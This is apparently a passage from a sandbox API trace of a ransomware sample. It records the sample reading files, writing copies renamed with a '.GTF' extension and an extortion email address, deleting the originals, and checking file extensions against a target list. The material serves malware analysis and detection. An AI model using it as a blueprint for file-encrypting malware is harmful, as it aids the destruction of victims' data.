	[0090.649] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x6040, lpOverlapped=0x0) returned 1
	[0090.651] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x6050, lpOverlapped=0x0) returned 1
	[0090.652] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.652] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xee, lpOverlapped=0x0) returned 1
	[0090.652] SetEndOfFile (hFile=0x388) returned 1
	[0090.652] CloseHandle (hObject=0x388) returned 1
	[0090.652] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.653] SetEndOfFile (hFile=0x33c) returned 1
	[0090.653] CloseHandle (hObject=0x33c) returned 1
	[0090.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.654] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1
	[0090.654] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.654] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.654] lstrlenW (lpString=".doc") returned 4
	[0090.654] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.654] lstrlenW (lpString=".docx") returned 5
	[0090.654] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0090.654] lstrlenW (lpString=".pdf") returned 4
	[0090.654] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.654] lstrlenW (lpString=".xls") returned 4
	[0090.654] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.654] lstrlenW (lpString=".xlsx") returned 5
	[0090.654] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0090.654] lstrlenW (lpString=".ppt") returned 4
	[0090.654] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.654] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.654] lstrlenW (lpString=".zip") returned 4
	[0090.654] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.654] lstrlenW (lpString=".rar") returned 4
	[0090.654] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.654] lstrlenW (lpString=".bz2") returned 4
	[0090.654] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.654] lstrlenW (lpString=".7z") returned 3
	[0090.654] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.655] lstrlenW (lpString=".dbf") returned 4
	[0090.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.655] lstrlenW (lpString=".1cd") returned 4
	[0090.655] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.655] lstrlenW (lpString=".jpg") returned 4
	[0090.655] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.655] lstrlenW (lpString=".doc") returned 4
	[0090.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.655] lstrlenW (lpString=".docx") returned 5
	[0090.655] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0090.655] lstrlenW (lpString=".pdf") returned 4
	[0090.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.655] lstrlenW (lpString=".xls") returned 4
	[0090.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.655] lstrlenW (lpString=".xlsx") returned 5
	[0090.655] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0090.655] lstrlenW (lpString=".ppt") returned 4
	[0090.655] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.655] lstrlenW (lpString=".zip") returned 4
	[0090.655] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.655] lstrlenW (lpString=".rar") returned 4
	[0090.655] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.655] lstrlenW (lpString=".bz2") returned 4
	[0090.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.655] lstrlenW (lpString=".7z") returned 3
	[0090.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.655] lstrlenW (lpString=".dbf") returned 4
	[0090.656] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.656] lstrlenW (lpString=".1cd") returned 4
	[0090.656] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52
	[0090.656] lstrlenW (lpString=".jpg") returned 4
	[0090.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.656] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.656] lstrlenW (lpString="eula.dll") returned 8
	[0090.656] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0090.656] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=136256) returned 1
	[0090.656] CloseHandle (hObject=0x33c) returned 1
	[0090.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20
	[0090.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.656] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0090.657] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.657] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.657] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0090.657] GetLastError () returned 0x0
	[0090.657] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x21440, lpOverlapped=0x0) returned 1
	[0090.954] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x21450, lpOverlapped=0x0) returned 1
	[0090.957] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.957] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0090.957] SetEndOfFile (hFile=0x388) returned 1
	[0091.412] CloseHandle (hObject=0x388) returned 1
	[0091.412] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.412] SetEndOfFile (hFile=0x33c) returned 1
	[0091.443] CloseHandle (hObject=0x33c) returned 1
	[0091.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) 

Thread:
	id = 17
	os_tid = 0x4fc

	[0062.060] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x3251248
	[0062.060] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x3261250
	[0062.061] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c578
	[0062.061] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x6) returned 0x7ad0c0
	[0062.061] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c680
	[0062.061] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x3b30020
	[0062.064] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c4d0
	[0062.064] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77c4d0, Size=0x20) returned 0x75eb60
	[0062.064] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77c458
	[0062.064] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77c458, Size=0x20) returned 0x75eb88
	[0062.064] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0062.064] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0062.064] Wow64DisableWow64FsRedirection (in: OldValue=0x365ff50 | out: OldValue=0x365ff50*=0x0) returned 1
	[0062.064] lstrlenW (lpString="kernel32.dll") returned 12
	[0062.064] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eb60 | out: hHeap=0x720000) returned 1
	[0062.064] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0062.064] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eb88 | out: hHeap=0x720000) returned 1
	[0062.064] Sleep (dwMilliseconds=0x64) 
	[0062.407] lstrcmpiW (lpString1=".cmd", lpString2=".GTF") returned -1
	[0062.407] lstrlenW (lpString="preoobe.cmd") returned 11
	[0062.407] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0064.478] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=74) returned 1
	[0064.478] CloseHandle (hObject=0x304) returned 1
	[0064.478] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20
	[0064.478] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0064.478] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0064.478] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.479] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.479] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0064.479] GetLastError () returned 0x0
	[0064.479] ReadFile (in: hFile=0x304, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x4a, lpOverlapped=0x0) returned 1
	[0064.492] WriteFile (in: hFile=0x310, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x50, lpOverlapped=0x0) returned 1
	[0064.493] ReadFile (in: hFile=0x304, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.493] WriteFile (in: hFile=0x310, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xea, lpOverlapped=0x0) returned 1
	[0064.493] SetEndOfFile (hFile=0x310) returned 1
	[0064.493] CloseHandle (hObject=0x310) returned 1
	[0064.494] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.494] SetEndOfFile (hFile=0x304) returned 1
	[0064.495] CloseHandle (hObject=0x304) returned 1
	[0064.495] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0064.495] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1
	[0064.495] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.495] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.495] lstrlenW (lpString=".doc") returned 4
	[0064.495] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0064.495] lstrlenW (lpString=".docx") returned 5
	[0064.495] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0064.496] lstrlenW (lpString=".pdf") returned 4
	[0064.496] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0064.496] lstrlenW (lpString=".xls") returned 4
	[0064.496] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0064.496] lstrlenW (lpString=".xlsx") returned 5
	[0064.496] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0064.496] lstrlenW (lpString=".ppt") returned 4
	[0064.496] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0064.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.496] lstrlenW (lpString=".zip") returned 4
	[0064.496] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0064.496] lstrlenW (lpString=".rar") returned 4
	[0064.496] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0064.496] lstrlenW (lpString=".bz2") returned 4
	[0064.496] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0064.496] lstrlenW (lpString=".7z") returned 3
	[0064.496] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0064.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.496] lstrlenW (lpString=".dbf") returned 4
	[0064.496] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0064.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.496] lstrlenW (lpString=".1cd") returned 4
	[0064.496] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0064.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.496] lstrlenW (lpString=".jpg") returned 4
	[0064.496] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0064.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.496] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.496] lstrlenW (lpString=".doc") returned 4
	[0064.496] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0064.496] lstrlenW (lpString=".docx") returned 5
	[0064.496] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0064.496] lstrlenW (lpString=".pdf") returned 4
	[0064.496] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0064.496] lstrlenW (lpString=".xls") returned 4
	[0064.497] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0064.497] lstrlenW (lpString=".xlsx") returned 5
	[0064.497] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0064.497] lstrlenW (lpString=".ppt") returned 4
	[0064.497] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0064.497] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.497] lstrlenW (lpString=".zip") returned 4
	[0064.497] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0064.497] lstrlenW (lpString=".rar") returned 4
	[0064.497] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0064.497] lstrlenW (lpString=".bz2") returned 4
	[0064.497] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0064.497] lstrlenW (lpString=".7z") returned 3
	[0064.497] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0064.497] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.497] lstrlenW (lpString=".dbf") returned 4
	[0064.497] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0064.497] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.497] lstrlenW (lpString=".1cd") returned 4
	[0064.497] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0064.497] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0064.497] lstrlenW (lpString=".jpg") returned 4
	[0064.497] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0064.497] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0064.497] lstrlenW (lpString="SetupResources.dll") returned 18
	[0064.497] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0064.498] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=14168) returned 1
	[0064.498] CloseHandle (hObject=0x304) returned 1
	[0064.498] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80
	[0064.498] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0064.498] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0064.498] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.498] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.498] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0064.499] GetLastError () returned 0x0
	[0064.499] ReadFile (in: hFile=0x304, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x3758, lpOverlapped=0x0) returned 1
	[0065.095] WriteFile (in: hFile=0x310, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0065.097] ReadFile (in: hFile=0x304, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.097] WriteFile (in: hFile=0x310, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0065.097] SetEndOfFile (hFile=0x310) returned 1
	[0065.097] CloseHandle (hObject=0x310) returned 1
	[0065.098] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.098] SetEndOfFile (hFile=0x304) returned 1
	[0065.100] CloseHandle (hObject=0x304) returned 1
	[0065.100] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0065.101] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 1
	[0065.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.101] lstrlenW (lpString=".doc") returned 4
	[0065.101] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0065.101] lstrlenW (lpString=".docx") returned 5
	[0065.101] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0065.101] lstrlenW (lpString=".pdf") returned 4
	[0065.101] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0065.101] lstrlenW (lpString=".xls") returned 4
	[0065.101] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0065.101] lstrlenW (lpString=".xlsx") returned 5
	[0065.101] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0065.101] lstrlenW (lpString=".ppt") returned 4
	[0065.101] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0065.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.101] lstrlenW (lpString=".zip") returned 4
	[0065.101] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0065.101] lstrlenW (lpString=".rar") returned 4
	[0065.101] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0065.101] lstrlenW (lpString=".bz2") returned 4
	[0065.101] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0065.101] lstrlenW (lpString=".7z") returned 3
	[0065.101] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0065.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.101] lstrlenW (lpString=".dbf") returned 4
	[0065.101] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0065.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.101] lstrlenW (lpString=".1cd") returned 4
	[0065.102] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0065.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.102] lstrlenW (lpString=".jpg") returned 4
	[0065.102] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0065.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45
	[0065.102] lstrlenW (lpString=".doc") returned 4
	[0065.102] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0065.102] lstrlenW (lpString=".docx") returned 5
	[0065.102] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0065.102] lstrlenW (lpString=".pdf") returned 4
	[0065.102] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0065.102] lstrlenW (lpString=".xls") returned 4
	[0065.102] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0065.102] lstrlenW (lpString=".xlsx") returned 5
